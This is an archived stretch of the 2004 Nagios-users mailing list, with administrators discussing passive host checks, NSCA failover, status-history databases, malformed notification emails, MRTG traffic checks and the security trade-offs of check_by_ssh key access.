<370ACCFA5BB3B346A31222E5559BF91F03A392@mismail2.ena.com> Quanah Gibson-Mount wrote: > --On Monday, March 29, 2004 10:17 AM +0200 "Martinez Gonzalez, > Francisco" wrote: > >> >> Hello, >> >> A question: >> >> If one host has not active services associated with him (only has >> pasives), when does the host check? > > It doesn't. So I create "ping" services right now to handle this > scenario. > Actually, I think you misunderstood his question. The correct answer is "Whenever a service check on that host fails". It makes not difference to nagios whether the results of that failed service check came from an active or passive check. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sven.schaffranneck at volkswagen.de Mon Mar 29 15:04:39 2004 From: sven.schaffranneck at volkswagen.de (Schaffranneck, Sven (K-DOI-5/4)) Date: Mon, 29 Mar 2004 15:04:39 +0200 Subject: how to handle passive-checks with nagios-server failover Message-ID: <09FCA2FF7E92D71186320008C71E91C6031FD1CD@devwagwodx0029.wob.vw.de> Hello, i want wo setup a nagios-failover szenario, but don't know what todo with the send_nsca on remote-side. there i've setup an ip for the nagios-server. but when this host is dead, and another host make the failover, the send_nsca doesn't know about the new host. any idea how i may handle this? Greets, Sven Schaffranneck ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 29 15:13:11 2004 From: marc at ena.com (Marc Powell) Date: Mon, 29 Mar 2004 07:13:11 -0600 Subject: Mysql Backend Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A393@mismail2.ena.com> I'm sure that you could make all the necessary code changes but it's not supported out of the box. It can be done with postgres rather easily by creating a trigger function that copies the data from servicestatus/hoststatus into alternate history tables on UPDATE or INSERT. You would, of course, need to write your own programs/scripts to view and manipulate that data. -- Marc Javier Garcia wrote: > Hi all, > > yes, I have the same problem. I'm llooking for and answer, but can't > find good documentation about implementation nagios/MySQL Any body > have some idea? > > thanks > > ---- > Javier Garc?a > Laboratorio de F?sica Computacional > Centro de F?sica, IVIC > jgarcia at ivic.ve > 0416-8678334 > > > On Tue, 9 Mar 2004, Bjoern Teipel wrote: > >> Hi all, >> >> is there a way to tell Nagios that it shouln`t replace the data for >> services in the Mysql table serviceretention and append them instead. >> My goal is to get usefull statistics which can be analyzed with PHP >> scripts as example ? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 29 15:48:37 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 29 Mar 2004 15:48:37 +0200 Subject: how to handle passive-checks with nagios-server failover In-Reply-To: <09FCA2FF7E92D71186320008C71E91C6031FD1CD@devwagwodx0029.wob.vw.de> References: <09FCA2FF7E92D71186320008C71E91C6031FD1CD@devwagwodx0029.wob.vw.de> Message-ID: <40682935.6080309@op5.se> Schaffranneck, Sven (K-DOI-5/4) wrote: > Hello, > > i want wo setup a nagios-failover szenario, but don't know what todo with > the send_nsca on remote-side. there i've setup an ip for the nagios-server. > but when this host is dead, and another host make the failover, the > send_nsca doesn't know about the new host. > > any idea how i may handle this? Run multiple instances of send_nsca. One for each monitoring server. > > Greets, Sven Schaffranneck > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Mon Mar 29 16:00:31 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Mon, 29 Mar 2004 09:00:31 -0500 Subject: Host check notification problem Message-ID: This may have nothing to do with your situation, but one thing I've noticed is that if you are using "non-fixed" downtime, i.e. down for two hours when it's first noticed as down, if it notices services down first, it will send notifications. It won't actually stop sending until it determines that the host is actually down. I don't like this side effect... it can cause you to get notifications when you intended to have the server down. I hope this makes sense? My mind is a mess right now. ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: Joe Rhett [mailto:jrhett at isite.net] Sent: Saturday, March 27, 2004 5:12 AM To: Jim Stosick Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Host check notification problem Actually, I don't think (memory late at night?) that you should be getting service notifications at all during the host downtime. This tells me that your host is going down, then coming back up or going into an unknown status. Use the web interface, bring the host down and then find out what status it is going into. I suspect that it's going into an unknown status and that's why service checks are still happening and why you're not getting host notifications. (configuration looks fine, fyi) On Thu, Mar 25, 2004 at 03:17:55PM -0800, Jim Stosick wrote: > Below is the host definition I have been testing with. If I shut down > the web server I get service alert notifications every 15 minutes > while it is down. > > If I shut down the host I get one host alert notification when the > system is detected as down. There are no repeat notifications even if > the system is down for much longer than the 15 minute notification > interval. As soon as I bring the system up I get a host recovery > notification. > > The Nagios version is 1.2, running on Solaris 8. I didn't set up the > Nagios server and I'm new to using Nagios. If there is some > additional information that would be useful in diagnosing the problem > I can get it from the other config files. > > > define hostgroup { > hostgroup_name forsythe-testing-group > alias Forsythe Sun Test System > contact_groups forsythe-sun-admin-mail > members sherpa > } > > define host { > host_name sherpa > alias sherpa > address sherpa.stanford.edu > check_command check-host-alive > max_check_attempts 3 > notification_interval 15 > notification_period 24x7 > notification_options d,u,r > } > > define service { > host_name sherpa > service_description service test > check_command check_http > max_check_attempts 3 > normal_check_interval 1 > retry_check_interval 1 > check_period 24x7 > notification_interval 15 > notification_options w,u,c,r > notification_period 24x7 > contact_groups forsythe-sun-admin-mail > } > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From bt at diamos.de Mon Mar 29 16:14:36 2004 From: bt at diamos.de (Bjoern Teipel) Date: Mon, 29 Mar 2004 16:14:36 +0200 Subject: Mysql Backend In-Reply-To: <40682EBB.6040101@diamos.de> References: <404DA6FC.9010905@diamos.de> <40682EBB.6040101@diamos.de> Message-ID: <40682F4C.7020101@diamos.de> Hi Javier, <>currently I`ve made a little Patch for nagios1-2. This version is writing the plugin_output into a different table. This table can be parsed by Perl/PHP or whateverscripts, but is`t creating a lot of data. Additional, I`m starting a bash script every night which deletes datas older than 30 days from this table. I will start to write some tiny PHP scripts for this, makeing graphs and so on... Bj?rn Javier Garcia wrote: >Hi Bj?rn, > >I saw your mensage in the nagios mailing list, but I have some problems >with the suscription. I have the same problem that you. I'm running nagios >in a s390 mainframe, and I will be monitoring a lot machines. I need >stadistics of all events. Nagios replace me in all status tables the >information. Do you resolving your problem? Can you help me? > >Thanks in advance, > >j. > >---- >Javier Garc?a >Laboratorio de F?sica Computacional >Centro de F?sica, IVIC >jgarcia at ivic.ve >0416-8678334 > > >On Tue, 9 Mar 2004, Bjoern Teipel wrote: > > > >>Hi all, >> >>is there a way to tell Nagios that it shouln`t replace the data for >>services in the Mysql table serviceretention >>and append them instead. My goal is to get usefull statistics which can >>be analyzed with PHP scripts as example ? >> >>Thanks. >>Bj?rn >> >>-- >>Bj?rn Teipel >>Systemadministration >>DIAMOS AG * Sulzbach/Taunus >>Mail : bt at diamos.de >>www : http://www.diamos.de >>ca : http://www.diamos.de/CA >>Phone: +49(0)6196/6506-151 >> >> >> >> >> -- Bj?rn Teipel Systemadministration DIAMOS AG * Sulzbach/Taunus Mail : bt at diamos.de www : http://www.diamos.de ca : http://www.diamos.de/CA Phone: +49(0)6196/6506-151 -- Bj?rn Teipel Systemadministration DIAMOS AG * Sulzbach/Taunus Mail : bt at diamos.de www : http://www.diamos.de ca : http://www.diamos.de/CA Phone: +49(0)6196/6506-151 -------------- next part -------------- An HTML attachment was scrubbed... URL: From Daniel.Mesimer at med.va.gov Mon Mar 29 16:13:22 2004 From: Daniel.Mesimer at med.va.gov (Daniel.Mesimer at med.va.gov) Date: Mon, 29 Mar 2004 08:13:22 -0600 Subject: FW: "Host Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22E0F@VHAKANEXC1> All, I am using Nagios 1.2 am the forwarded message here is what Nagios is sending as its status update email. It is obviously not formatted correctly (or at least not the way I expected it to be formatted). Is there something I can change to make this behave more the way I expect it to? Thanks Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: nagios at vhakannms.kansas-city.med.va.gov [mailto:nagios at vhakannms.kansas-city.med.va.gov] Sent: Sunday, March 28, 2004 8:23 AM To: alert at vhakannms.kansas-city.med.va.gov; ", daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov Subject: "Host ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nState:""DO WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128.46nnD ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter.gutmann at db.com Mon Mar 29 17:12:43 2004 From: peter.gutmann at db.com (Peter Gutmann) Date: Mon, 29 Mar 2004 10:12:43 -0500 Subject: check_by_ssh question Message-ID: Your assumption that I am simply reciting the opening paragraphs of a book on the introduction to computer security is simply false. While I have no idea of your experience level with UNIX, networks, and the basic security concepts (and you obviously have absolutely no idea of my experience). The most basic concept is knowing what you are protecting. If you understood what the purpose of the ssh tools where (to build a encrypted channel between machines http://www.openssh.com/goals.html ) that can then be used to protect against snooping the user ID, passwords, and data from the wire. So, if you are looking to do authentication or detect attack profiles with ssh, you are looking in the wrong place. While you are sure that I have been reading (and reciting) the platitudes (http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&va=platitudes&x=19&y=13) posted on the Bugtraq mailing lists. You seem to be missing the point of what I was saying. The best way to prevent an attack from your Nagios monitoring host on the hosts that you are monitoring is to prevent the initial attack on the Nagios monitoring host in the first place. Because once the bad guy has access to the box that battle you are trying to fight is lost (unless you added a intention bit to the TCP header :-). So, you are looking to fight the wrong battle (i.e. bringing a knife to a gun fight). You seem to be making a very common and very basic mistake. Not looking at the whole problem. You seem to be looking at the piece of the puzzle between that Nagios host and the hosts that you are watching. There is simply no way to tell if the opening packets in a new TCP connection from a machine (hosta) which is destined for the machine (hostb) are part of your normal checks or the beginning of an attempted exploit of the machine (ask the people from Network Flight Recorders www.nfr.com). You could attempt to correlate the initiation of a TCP connection to the monitored host, and the startup of the check_ssh executable. However that would consume a huge amount of resources for a very limited result (the easiest way to defeat this would be replace the check_ssh executable). ---- Peter Gutmann Peter.Gutmann at db.com Andreas Ericsson Sent by: nagios-users-admin at lists.sourceforge.net 03/27/2004 02:35 PM To: nagios-users at lists.sourceforge.net cc: Subject: Re: [Nagios-users] check_by_ssh question Peter Gutmann wrote: > Why no I have not been following the thread from the beginning of time. > Having just started getting Nagios setup here to watch some our trading > applications. I joined the mailing list within the last few days to learn > a bit more about Nagios from other people that are using it. > You can read erlier postings on the thread in the archives. > The security of a network is not obtained by any single action. However, > it is obtained by understanding the needs of the applications and the > environment that the applications live in, and when it is done best it > looks a lot like an onion. The best way to look at it, is to have defense > in depth and not to rely on a single method of protecting yourself. This > is where you have a number of different methods of protecting yourself and > watching what is going on. The goal would be to have all of the pieces to > work together to tell you when something goes wrong. While you are still > in a position to do something about it. > Thank you for reciting the opening paragraph of the latest 'security consciousness' lecture you went to. Seems like something a CEO would like to hear the companys money was spent on, while none but the very freshest administrators would learn anything form it. > While I STILL don't know anything about what you are looking to protect > (other than you are concerned about Nagios being open) or the environment > that it lives in. So, I am, to some extent just guessing about what you > are looking to accomplish and how much you are willing to put into it. If > you are an ISP, that is a wholly different problem than protecting a > trading floor, or protecting the network in the corner grocery. So, there > are a number of layers to this onion called trust. > More smoke from the bag. General security discussions are held on bugtraq, vuln-dev et al. > I am suggesting that you implement a screening routers that LOG unusual > events as an ADDITION to all of the usual things for you environment. > While I KNOW that this is not the whole answer, my reading of your e-mail > was that you were looking for an application (even if you cover it with > SSL) that does no authentication to tell you about problems. Perhaps I was > wrong. > Yes, you were. We're discussing the specific dangers of running check_by_ssh on a large number of hosts from the nagios server. On a side-note; Suggest all you want, but please read the backlogs in the mail-archives first. > Snort or another NDIS tool can watch the number of packets per unit time > between hosts and flag ABOVE and below the threshold. In addition, > trapping and logging ALL connection attempts and failed logins. Network intrusion detection systems have been brought up and quite firmly put down (from this discussion, that is), seeing as all they can really do is let you know what went wrong, and when. We're looking to prevent it from happening in the first place. > BTW: Have > you looked at IP/SEC? that is a way of authenticating (at a hardware > level) a level of trust between machines > IP/SEC faces the same problems as running SSH with public / private keypairs (well, similar anyways). You can't allow one thing and disallow another in a matter which is non-exploitable, seeing as the monitoring process needs access rights enough to run applications on the remote host. All it would really do is to add another layer of encryption, which actually might lessen security rather than tighten it (consider CBC vs CFB). > Peter > ---- > Peter Gutmann > Peter.Gutmann at db.com > > -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 29 17:34:06 2004 From: marc at ena.com (Marc Powell) Date: Mon, 29 Mar 2004 09:34:06 -0600 Subject: FW: "Host Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A395@mismail2.ena.com> On Monday, March 29, 2004 8:13 AM, Daniel.Mesimer at med.va.gov shared with us: > All, > > I am using Nagios 1.2 am the forwarded message here is what Nagios is > sending as its status update email. > It is obviously not formatted correctly (or at least not the way I > expected it to be formatted). Is there something I can change to > make this behave more the way I expect it to? > > Thanks > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: nagios at vhakannms.kansas-city.med.va.gov > [mailto:nagios at vhakannms.kansas-city.med.va.gov] > Sent: Sunday, March 28, 2004 8:23 AM > To: alert at vhakannms.kansas-city.med.va.gov; ", > daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov > Subject: "Host > > > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nState: ""DO > WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128.4 6nnD > ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" Take a look at your host/service notify-by-email commands and make sure that they are using whatever flags are necessary to enable interpretation of escape sequences for your OS. If the commands are using echo, you'll probably need to add a -e argument to it (i.e. echo -e "***** Nagios *****\n..."). I believe printf interprets escape sequences properly by default so you could use that instead of echo -e but you should consult the man pages as both options vary by OS and release. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 29 18:19:08 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 29 Mar 2004 18:19:08 +0200 Subject: check_by_ssh question In-Reply-To: References: Message-ID: <40684C7C.8080502@op5.se> Peter Gutmann wrote: > Your assumption that I am simply reciting the opening paragraphs of a book > on the introduction to computer security is simply false. Sorry about that. It just pretty much sounded like it since you were so far off topic. > While I have no > idea of your experience level with UNIX, networks, and the basic security > concepts (and you obviously have absolutely no idea of my experience). True. I jumped to conclusions. My apologies. > The > most basic concept is knowing what you are protecting. Indeed. > If you understood > what the purpose of the ssh tools where (to build a encrypted channel > between machines http://www.openssh.com/goals.html ) that can then be used > to protect against snooping the user ID, passwords, and data from the > wire. So, if you are looking to do authentication or detect attack > profiles with ssh, you are looking in the wrong place. > I'm not. We were involved in a discussion regarding the added risk of running ssh from one server with passphrase-less key access to other servers. If you would have read the archives you would have known this, and could possibly have made a valuable contribution. > While you are sure that I have been reading (and reciting) the platitudes > (http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&va=platitudes&x=19&y=13) > posted on the Bugtraq mailing lists. You seem to be missing the point of > what I was saying. The best way to prevent an attack from your Nagios > monitoring host on the hosts that you are monitoring is to prevent the > initial attack on the Nagios monitoring host in the first place. Blindingly obvious, but correct. The topic at hand, however, was how to minimize damage IF the monitoring server was compromised. > Because > once the bad guy has access to the box that battle you are trying to fight > is lost (unless you added a intention bit to the TCP header :-). So, you > are looking to fight the wrong battle (i.e. bringing a knife to a gun > fight). I never go anywhere without a good trusty nuke. ;-) > > You seem to be making a very common and very basic mistake. Not looking at > the whole problem. Looking at the whole problem requires indepth analysis of its smaller parts. How can you otherwise know what each part represents in the greater picture? In this thread we were discussing the specifics of check_by_ssh (as shown by the topic). General network security has other forums better suited for it. > You seem to be looking at the piece of the puzzle > between that Nagios host and the hosts that you are watching. Correct. A very interesting piece as well, for obvious reasons, and one that belongs on the nagios-users mailing list. > There is > simply no way to tell if the opening packets in a new TCP connection from > a machine (hosta) which is destined for the machine (hostb) are part of > your normal checks or the beginning of an attempted exploit of the machine > (ask the people from Network Flight Recorders www.nfr.com). You could > attempt to correlate the initiation of a TCP connection to the monitored > host, and the startup of the check_ssh executable. However that would > consume a huge amount of resources for a very limited result (the easiest > way to defeat this would be replace the check_ssh executable). > check_by_ssh works as it's supposed to. That's sort of the problem in this particular scenario. The proper way around this as I see it would be to have a public / private key-pair for NRPE, and remove passphrase-less keybased ssh access from the monitoring server altogether. > ---- > Peter Gutmann > Peter.Gutmann at db.com > -- Cheers, Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From al.mckay at eds.com Mon Mar 29 18:35:45 2004 From: al.mckay at eds.com (Al McKay) Date: Mon, 29 Mar 2004 16:35:45 +0000 (UTC) Subject: =?utf-8?b?Q2hlY2tfbXJ0Z3RyYWY=?= References: <40606473.40506@op5.se> Message-ID: Andreas Ericsson op5.se> writes: > > Run the script manually with the same parameters as nagios does. That > should give you a pretty good clue. > > Mckay, Al wrote: > > I am running mrtg to monitor switches and routers on my network. The data is > > being compiled on a 5 minute cycle. I am using check_mrtgtraf to monitor for > > traffic volumes and notifying when traffic reaches certain levels. I am > > getting periodic "No Output!" messages from the check command. I don't > > understand how this can be happening since the mrtg and Nagios are both > > running on the same server. > > > > Any help would be appreciated. > > > > Al McKay I have run the commands manually and sometimes I get a response and sometimes I dont. I ma completely stumped on this. The log files from te MRTG checks are all rw-r--r-- so it cant be a permissions problem. Any further suggestions are appreciated. Al McKay ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From bbasgen at epixmed.com Mon Mar 29 19:32:27 2004 From: bbasgen at epixmed.com (Brian Basgen) Date: Mon, 29 Mar 2004 12:32:27 -0500 Subject: No nsclient auto start on NT Terminal Services In-Reply-To: References: Message-ID: Hello, I can't get the Nsclient (10.71) to start automatically on NT 4 (SP 6) Terminal Server. It works fine on all my XP and 2000 boxes, but for some reason not on this machine. Anyone have ideas? Regards, ........................................ Brian Basgen Systems Administrator EPIX Medical 71 Rogers St Cambridge MA, 02142 .......................................... ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Daniel.Mesimer at med.va.gov Mon Mar 29 19:18:30 2004 From: Daniel.Mesimer at med.va.gov (Daniel.Mesimer at med.va.gov) Date: Mon, 29 Mar 2004 11:18:30 -0600 Subject: FW: "Host Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22E15@VHAKANEXC1> Marc/All, Where would I look for that information? I can't seems to find a "notify-by-email" command to check its inputs, etc. Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Monday, March 29, 2004 9:34 AM To: Daniel.Mesimer at med.va.gov; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] FW: "Host On Monday, March 29, 2004 8:13 AM, Daniel.Mesimer at med.va.gov shared with us: > All, > > I am using Nagios 1.2 am the forwarded message here is what Nagios is > sending as its status update email. It is obviously not formatted > correctly (or at least not the way I expected it to be formatted). Is > there something I can change to make this behave more the way I expect > it to? > > Thanks > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: nagios at vhakannms.kansas-city.med.va.gov > [mailto:nagios at vhakannms.kansas-city.med.va.gov] > Sent: Sunday, March 28, 2004 8:23 AM > To: alert at vhakannms.kansas-city.med.va.gov; ", > daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov > Subject: "Host > > > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nState: ""DO > WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128.4 6nnD > ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" Take a look at your host/service notify-by-email commands and make sure that they are using whatever flags are necessary to enable interpretation of escape sequences for your OS. If the commands are using echo, you'll probably need to add a -e argument to it (i.e. echo -e "***** Nagios *****\n..."). I believe printf interprets escape sequences properly by default so you could use that instead of echo -e but you should consult the man pages as both options vary by OS and release. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 29 19:59:19 2004 From: marc at ena.com (Marc Powell) Date: Mon, 29 Mar 2004 11:59:19 -0600 Subject: FW: "Host Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A39A@mismail2.ena.com> I haven't installed any of the sample configs recently and the full path can vary depending on your method and location of installation but it's usually found in /usr/local/nagios/etc/commands.cfg. You could always grep for it: cd /usr/local/nagios/etc/; grep -iRle "command_name.*host-notify-by-email" * -- Marc On Monday, March 29, 2004 11:19 AM, Daniel.Mesimer at med.va.gov shared with us: > Marc/All, > > Where would I look for that information? I can't seems to find a > "notify-by-email" command to check its inputs, etc. > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: Marc Powell [mailto:marc at ena.com] > Sent: Monday, March 29, 2004 9:34 AM > To: Daniel.Mesimer at med.va.gov; nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] FW: "Host > > > On Monday, March 29, 2004 8:13 AM, Daniel.Mesimer at med.va.gov shared > with > us: > > > All, > > > > I am using Nagios 1.2 am the forwarded message here is what Nagios > > is sending as its status update email. It is obviously not formatted > > correctly (or at least not the way I expected it to be formatted). > > Is there something I can change to make this behave more the way I > > expect it to? > > > > Thanks > > > > Dan Mesimer > > Kansas City VA Medical Center > > Network Support > > > > > > -----Original Message----- > > From: nagios at vhakannms.kansas-city.med.va.gov > > [mailto:nagios at vhakannms.kansas-city.med.va.gov] > > Sent: Sunday, March 28, 2004 8:23 AM > > To: alert at vhakannms.kansas-city.med.va.gov; ", > > daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov > > Subject: "Host > > > > > > > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nState: > ""DO > > > WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128.4 > 6nnD > > ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" > > > Take a look at your host/service notify-by-email commands and make > sure that > they are using whatever flags are necessary to enable interpretation > of > escape sequences for your OS. If the commands are using echo, you'll > probably need to add a -e argument to it (i.e. echo -e "***** Nagios > *****\n..."). I believe printf interprets escape sequences properly by > default so you could use that instead of echo -e but you should > consult the > man pages as both options vary by OS and release. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From arnoldc at mcmservice.com Mon Mar 29 20:05:42 2004 From: arnoldc at mcmservice.com (Arnold Cano) Date: Mon, 29 Mar 2004 18:05:42 +0000 (UTC) Subject: =?utf-8?b?Y2hlY2tfYnlfc3No?= question References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> 